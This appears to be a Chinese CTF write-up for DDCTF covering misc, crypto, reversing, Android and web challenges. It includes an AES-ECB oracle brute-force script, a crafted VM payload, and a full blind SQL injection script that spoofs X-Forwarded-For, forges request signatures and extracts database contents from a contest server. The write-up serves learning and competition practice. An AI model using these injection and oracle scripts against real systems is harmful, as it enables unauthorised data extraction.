跳转至

DDCTF_WriteUp_0h2o

这篇文章的图大概都挂了

图可能是被小妖怪偷走了

MISC

签到题

见原题

(╯°□°)╯︵ ┻━┻

一串奇怪的字母,多次尝试后发现可能是个hex字符串,转回去之后是不可见字符,于是写了256个循环把每个字节移动一位后的结果输出,从输出中找到了flag,原来是凯撒。

第四扩展FS

一张jpg,stegsolve瞎操作发现没东西,然后binwalk一跑跑出一个 竟然有密码的 压缩包,找了 十分钟 密码,本来还尝试去爆,后来在 图片详细信息 (???) 里看到了密码。解包之后根据提示,写一个脚本统计字符出现频次就看到了flag。

file = open('file.txt','r')
data=file.read()
file.close()
dict = {}
for each in data:
    if (dict.setdefault(each,'0h2o')!='0h2o'):
        dict[each]+=1
    else:
        dict[each]=1
dict=sorted(dict,key=lambda k: dict[k],reverse=True)
print(dict)

流量分析

一个wireshark流量包,抓到了一堆没用的东西,包括ftp内的几个奇妙压缩包,后来从outlook邮件里看到base64,转出来发现是张 ,根据题目提示猜到这是ssl的key,ORC识别一下然后添加到wireshark解密的地方,即可发现 没反应 。于是回去又看了一遍图,发现OCR把l识别成了1,把O识别成了0,于是手贱 一个个核对key ,最后解密了一个ssl流量看到了包含flag的网页。

安全通信

有趣,AES的分块加密,可以用agent_id来控制flag的第一位、第二位、第三位分别处在16字节对齐处的末尾,然后send过去看返回值与最初提供的返回值是否相同(长度重合部分是否相同),这样就能爆破出最终的flag了。

#! usr/bin/env python
from pwn import *

table=bytes("""!\"#$%&'()*+,-./0123456789:;<=>[email protected][\\]^_`abcdefghijklmnopqrstuvwxyz{|}~""".encode('ascii'))
enc = ''
flag=''
agent_id='0h2o11111111111111111111111111111111111111111'
id = 'f49348cf84d390da52498077ae7137d5'.encode('ascii')

def getConn():
    global agent_id
    global enc
    s = remote('116.85.48.103 5002','5002')
    tp=s.recv()
    s.sendline(id)
    tp=s.recv()
    s.sendline(bytes(agent_id.encode('ascii')))
    enc = s.recv().rstrip()
    return s

def getOneFlag(conn):
    for i in range(len(table)):
        global flag
        global table
        global agent_id
        temp = flag + table[i]

        get=conn.recv()
        while (len(get)==0):
            get=conn.recv()

        load=r"""Connection for mission: """ + agent_id + r""", your mission's flag is: """ + temp      
        conn.sendline(bytes(load.encode('ascii')))
        get=conn.recv().rstrip()
        while (len(get)==0):
            get=conn.recv().rstrip()
        if cmp(enc[:len(get)],get)==0:
            print temp
            flag=temp
            agent_id=agent_id[:-1]
            if(temp[-1]=='}'):
                exit()
            return

while 1:
    conn = getConn()
    getOneFlag(conn)
    conn.close()

RE

Baby MIPS

拿到 bin,修补EB 02 xx xx-> 00 00 00 00(nop),用retdec插件反编译mips,分析验证函数发现需要解一个16阶齐次非线性方程组,当时写了个脚本提取系数后就直接丢给了matlab,解就是flag的ascii值。

黑盒破解

这是vm,0x401a48为vm_run,参数是一个类似结构体的东西(就假设他是吧),结构体中存了一个用户输入的字符串,一个变量,一个虚拟指令的参数arg。函数内包含一个vm_dispatcher来分发指令,通过动态调试,定位到各个handlers:

1524245303059

继续动态调试,在vm_run字符比较处偷到触发各个handler的字符,再简略分析handler对应字符如下:

$ -> handler1
8 -> handler2
C -> handler3
t -> handler4
0 -> handler5
E -> handler6
u -> handler7
# -> handler8
; -> handler9

程序内部有一个字符串 PaF0!&Prv}H{ojDQ#7v=,目的需要将它改成 Binggo\0

我们跟进handler7,发现它实际上是做了下面这件事:

*(byte*)inner_str =input_str[ip+arg-0x30]-0x31

这里面,ip表示我们正在操作第几个字符,arg是传进来的参数(也就是#后对应的字符的ascii值)。

于是我们发现可以用handler7对应的 # 来修改字符串的某一位,继续分析得到另外一些handler的作用:

handler1: temp=*(byte*)inner_str
handler2: *(byte*)inner_str=temp
handler3: temp+=(arg-0x21)
handler4: temp-=(arg-0x21)
handler5: ip++
handler6: 这个函数接受参数,如果是s的话就会打印出内置字符串并检验合法性
handler7: ip--

仅仅用这些操作,我们就可以完成对字符串的修改了。

在修改过程中遇到一个坑,如果从头往后修改,那么最后一位我们给它置0的时候ip值为6,但我们的payload(input_str)的第七位可能是要被用来改东西的,为了避免冲突,可以先000000将ip移动到7,这时候我们#正好处在第七位,构造000000#21让程序调用,则会设置*(byte*)inner_str =input_str[ip+arg-0x30]-0x31=input_str[6+0x32-0x30]-0x31=input_str[8]-0x31=0,这样就成功的把尾部字节设成了NULL。

其他的就没有难度了,构造一个字符串,从NULL处往前写,然后Es输出即可:

000000#21u$Cj8u$Cg8u$CX8u$CI8u$C)8u$t/8uEs

被隐藏的真实

前两层验证可以直接分析出来,第一次验证输入字符串hexStringToInt仅需与secret_const[1]相等即可,第二次验证去查了一下bitcoin的加密,把内置的一个钱包地址解base58,舍去末4位验证字节,转为hexString即可。

第三层验证是什么鬼,逆了半天总觉得不对劲,后来竟然发现**某个memcmp好像被Hook了**?Hook到了自己的一个用户函数(暂且叫它final_verify),干了一波骚操作然后才call原函数,然后又满怀信心准备去逆,更加倍感不对劲,觉得可能骚操作中途还有函数调用也被hook了,果断把它当成黑盒,gdb在final_verify调用真正的memcmp处下断:

return (*((__int64 (__fastcall **)(_QWORD, char *, __int64))Bitcoin::thiz + 2))(
           *((_QWORD *)Bitcoin::thiz + 5),
           &buf,
           v9);

当时观测内存中的参数数据其中一者为:

000000000019d6689c......

这个东西之前在google搜第三层的提示的时候有看见过:

1524249504666

那这一问肯定是铁打的和这个Block #0有关了,经过搜索在wiki上发现这个hash的来源:

1524250210835

然后从创世block的wiki里抄来他的属性,

1524250284282

按要求组成上表,送给程序,猜对......

01000000 0000000000000000000000000000000000000000000000000000000000000000 a3edfd7a7b12b27ac72c3e67768f617fc81bc3888a51323a9fb8aa4b1e5e4a 29ab5f49 ffff001d 1dac2b7c
nVersion previous_block_hash hashMerkleRoot nTime nBits nNonce

探寻逝去的Atlantis文明

这题作为压轴,可能想要考的东西很复杂,但单纯冲着flag去的我没有get到题目的点。

题目开始tls中有一个SetInformationThread API调用,用来分离debugger and debuggee,nop掉就好了。

bp SetConsoleTextAttribute,回溯到shellcode代码,稍微调一下发现: 输入长度需为0x10,base64加密输入后RC4加密,使用密钥如下:

0019FA84 24 61 5F 6D 61 79 21 25 2D 40 00 00 00 00 00 00 $a_may!%[email protected]

加密过后与CA 9B F4 65 C4 CF 70 0C 4A 5B BB 5B 28 2B 07 E8 CE 9A 00 4D 67 A2 BF 13比较,正确即为flag

动态调试,rc4懒得管,直接在xor处抓出来数据, CA 9B F4 65 C4 CF 70 0C 4A 5B BB 5B 28 2B 07 E8 CE 9A 00 4D 67 A2 BF 13 98 de a6 21 92 8a 2a 3b 2f 13 d7 6d 61 51 4a 82 94 dd 39 23 3f 91 8f 2e

import base64
key=[0x98,0xde,0xa6,0x21,0x92,0x8a,0x2a,0x3b,0x2f,0x13,0xd7,0x6d,0x61,0x51,0x4a,0x82,0x94,0xdd,0x39,0x23,0x3f,0x91,0x8f,0x2e]
dst=[0xCA,0x9B,0xF4,0x65,0xC4,0xCF,0x70,0x0C,0x4A,0x5B,0xBB,0x5B,0x28,0x2B,0x07,0xE8,0xCE,0x9A,0x00,0x4D,0x67,0xA2,0xBF,0x13]
for i in range(len(key)):
    dst[i] = dst[i] ^ key[i]
print(base64.b64decode(bytearray(dst)))

Android

RSA

验证函数放到了native层,逆so,发现程序会先把输入xor,xor后的字符串需要以10为单位循环,最后会把前10位转成数a,用一个大数 5889412424631952987 来除这个数a,需要能整除,先把 5889412424631952987 丢到factordb:

5889412424631952987<19> = 1499419583<10> · 3927794789<10>

继续调试,商需要大于数a,那就取a=1499419583,计算回去就行了:

input = '1499419583149941958314994195831499419583'
list2=[0x55,0x01,0x58,0x41,0x5d,0x47,0x5a,0x42,0x0e,0x54,0x56,0x52,0x4a,0x4e,0x44,0x49,0x5e,0x0d,0x08,0x56,0x42,0x40,0x5e,0x5a,0x01,0x09,0x51,0x02,0x41,0x54,0x59,0x45,0x56,0x5e,0x56,0x5c]
output=''
for i in range(len(list2)):
    output+=chr(ord(input[i])^list2[i])
print('DDCTF-{'+output+'}')

Web

数据库的秘密

用burp加一个xff先过ip验证,查看源码发现了一个hidden的author栏,可能是注入点,简单尝试一下,发现真的能够注入。过滤了union,考虑盲注,但是看到有一个sig和time参数是用js计算的。python的execjs可以调用js脚本,那思路就很明显了,把js拿出来改一下,写一个python脚本先跑数据库表名字段名,最后跑数据就好了:

import execjs
import requests

def getp(s):
    ctx = execjs.compile("""
    var key="\141\144\162\145\146\153\146\167\145\157\144\146\163\144\160\151\162\165";
    /*
 * A JavaScript implementation of the Secure Hash Algorithm, SHA-1, as defined
 * in FIPS PUB 180-1
 * Version 2.1-BETA Copyright Paul Johnston 2000 - 2002.
 * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet
 * Distributed under the BSD License
 * See http://pajhome.org.uk/crypt/md5 for details.
 */
/*
 * Configurable variables. You may need to tweak these to be compatible with
 * the server-side, but the defaults work in most cases.
 */
var hexcase = 0; /* hex output format. 0 - lowercase; 1 - uppercase     */
var b64pad = ""; /* base-64 pad character. "=" for strict RFC compliance  */
var chrsz = 8; /* bits per input character. 8 - ASCII; 16 - Unicode    */
/*
 * These are the functions you'll usually want to call
 * They take string arguments and return either hex or base-64 encoded strings
 */
function hex_math_enc(s) {
 return binb2hex(core_math_enc(str2binb(s), s.length * chrsz));
}
function b64_math_enc(s) {
 return binb2b64(core_math_enc(str2binb(s), s.length * chrsz));
}
function str_math_enc(s) {
 return binb2str(core_math_enc(str2binb(s), s.length * chrsz));
}
function hex_hmac_math_enc(key, data) {
 return binb2hex(core_hmac_math_enc(key, data));
}
function b64_hmac_math_enc(key, data) {
 return binb2b64(core_hmac_math_enc(key, data));
}
function str_hmac_math_enc(key, data) {
 return binb2str(core_hmac_math_enc(key, data));
}
/*
 * Perform a simple self-test to see if the VM is working
 */
function math_enc_vm_test() {
 return hex_math_enc("abc") == "a9993e364706816aba3e25717850c26c9cd0d89d";
}
/*
 * Calculate the SHA-1 of an array of big-endian words, and a bit length
 */
function core_math_enc(x, len) {
 /* append padding */
 x[len >> 5] |= 0x80 << (24 - len % 32);
 x[((len + 64 >> 9) << 4) + 15] = len;
 var w = Array(80);
 var a = 1732584193;
 var b = -271733879;
 var c = -1732584194;
 var d = 271733878;
 var e = -1009589776;
 for (var i = 0; i < x.length; i += 16) {
  var olda = a;
  var oldb = b;
  var oldc = c;
  var oldd = d;
  var olde = e;
  for (var j = 0; j < 80; j++) {
   if (j < 16) w[j] = x[i + j];
   else w[j] = rol(w[j - 3] ^ w[j - 8] ^ w[j - 14] ^ w[j - 16], 1);
   var t = safe_add(safe_add(rol(a, 5), math_enc_ft(j, b, c, d)), safe_add(safe_add(e, w[j]), math_enc_kt(j)));
   e = d;
   d = c;
   c = rol(b, 30);
   b = a;
   a = t;
  }
  a = safe_add(a, olda);
  b = safe_add(b, oldb);
  c = safe_add(c, oldc);
  d = safe_add(d, oldd);
  e = safe_add(e, olde);
 }
 return Array(a, b, c, d, e);
}
/*
 * Perform the appropriate triplet combination function for the current
 * iteration
 */
function math_enc_ft(t, b, c, d) {
 if (t < 20) return (b & c) | ((~b) & d);
 if (t < 40) return b ^ c ^ d;
 if (t < 60) return (b & c) | (b & d) | (c & d);
 return b ^ c ^ d;
}
/*
 * Determine the appropriate additive constant for the current iteration
 */
function math_enc_kt(t) {
 return (t < 20) ? 1518500249 : (t < 40) ? 1859775393 : (t < 60) ? -1894007588 : -899497514;
}
/*
 * Calculate the HMAC-SHA1 of a key and some data
 */
function core_hmac_math_enc(key, data) {
 var bkey = str2binb(key);
 if (bkey.length > 16) bkey = core_math_enc(bkey, key.length * chrsz);
 var ipad = Array(16),
  opad = Array(16);
 for (var i = 0; i < 16; i++) {
  ipad[i] = bkey[i] ^ 0x36363636;
  opad[i] = bkey[i] ^ 0x5C5C5C5C;
 }
 var hash = core_math_enc(ipad.concat(str2binb(data)), 512 + data.length * chrsz);
 return core_math_enc(opad.concat(hash), 512 + 160);
}
/*
 * Add integers, wrapping at 2^32. This uses 16-bit operations internally
 * to work around bugs in some JS interpreters.
 */
function safe_add(x, y) {
 var lsw = (x & 0xFFFF) + (y & 0xFFFF);
 var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
 return (msw << 16) | (lsw & 0xFFFF);
}
/*
 * Bitwise rotate a 32-bit number to the left.
 */
function rol(num, cnt) {
 return (num << cnt) | (num >>> (32 - cnt));
}
/*
 * Convert an 8-bit or 16-bit string to an array of big-endian words
 * In 8-bit function, characters >255 have their hi-byte silently ignored.
 */
function str2binb(str) {
 var bin = Array();
 var mask = (1 << chrsz) - 1;
 for (var i = 0; i < str.length * chrsz; i += chrsz)
 bin[i >> 5] |= (str.charCodeAt(i / chrsz) & mask) << (24 - i % 32);
 return bin;
}
/*
 * Convert an array of big-endian words to a string
 */
function binb2str(bin) {
 var str = "";
 var mask = (1 << chrsz) - 1;
 for (var i = 0; i < bin.length * 32; i += chrsz)
 str += String.fromCharCode((bin[i >> 5] >>> (24 - i % 32)) & mask);
 return str;
}
/*
 * Convert an array of big-endian words to a hex string.
 */
function binb2hex(binarray) {
 var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef";
 var str = "";
 for (var i = 0; i < binarray.length * 4; i++) {
  str += hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8 + 4)) & 0xF) + hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8)) & 0xF);
 }
 return str;
}
/*
 * Convert an array of big-endian words to a base-64 string
 */
function binb2b64(binarray) {
 var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
 var str = "";
 for (var i = 0; i < binarray.length * 4; i += 3) {
  var triplet = (((binarray[i >> 2] >> 8 * (3 - i % 4)) & 0xFF) << 16) | (((binarray[i + 1 >> 2] >> 8 * (3 - (i + 1) % 4)) & 0xFF) << 8) | ((binarray[i + 2 >> 2] >> 8 * (3 - (i + 2) % 4)) & 0xFF);
  for (var j = 0; j < 4; j++) {
   if (i * 8 + j * 6 > binarray.length * 32) str += b64pad;
   else str += tab.charAt((triplet >> 6 * (3 - j)) & 0x3F);
  }
 }
 return str;
}

function signGenerate(obj, key) {
    var str0 = '';
    for (i in obj) {
        if (i != 'sign') {
            str1 = '';
            str1 = i + '=' + obj[i];
            str0 += str1
        }
    }
    return hex_math_enc(str0 + key)
};
var obj = {
    id: '',
    title: '',
    author: '',
    date: '',
    time: parseInt(new Date().getTime() / 1000)
};

function submitt(a) {
        obj['author'] = a;
        var sign = signGenerate(obj, key);
        return sign;
    }

function time() {
        return parseInt(new Date().getTime() / 1000)
}

 """)

    a = {'time': str(ctx.call("time")), 'sig': str(ctx.call("submitt", str(s)))}
    return a


headers = {'X-Forwarded-For': '123.232.23.245'}

payload = {'id': '', 'title': '', 'date': '', 'author': 'a', 'button': 'search'}

flag = ''
f = 1
for a in range(1, 200):

    for i in range(32, 128):
        #payload['author'] = '9\'|| (ord(SUBSTR((SELECT schema()),' + str(a) + ',1)))=' + str(i) + '#' #数据库
        #payload['author'] = '9\'|| (ord(SUBSTR((SELECT group_concat(distinct table_name) FROM information_schema.columns where table_schema=0x6464637466),' + str(a) + ',1)))=' + str(i) + '#' #表
        #payload['author'] = '9\'|| (ord(SUBSTR((SELECT group_concat(distinct column_name) FROM information_schema.columns where table_name=0x6464637466),' + str(a) + ',1)))=' + str(i) + '#' #字段
        payload['author'] = '9\'|| (ord(SUBSTR((SELECT secvalue FROM ddctf.ctf_key6),' + str(a) + ',1)))=' + str(i) + '#'

        date = getp(payload['author'])

        try:
            r = requests.post('http://116.85.43.88:8080/IQXDFSIOJGSMXTDR/dfe3ia/index.php', headers=headers,
                              data=payload, params=date)
        except:
            f = f - 1
            print('1f-1')
            continue
        if r.text.find('2017-09-14') != -1:
            print('bingo')
            flag = flag + chr(i)
            print(flag)
            break
        if i == 127:
            f = f - 1
            a = a - 1
            print('2f-1')
    f = f + 1
print(flag)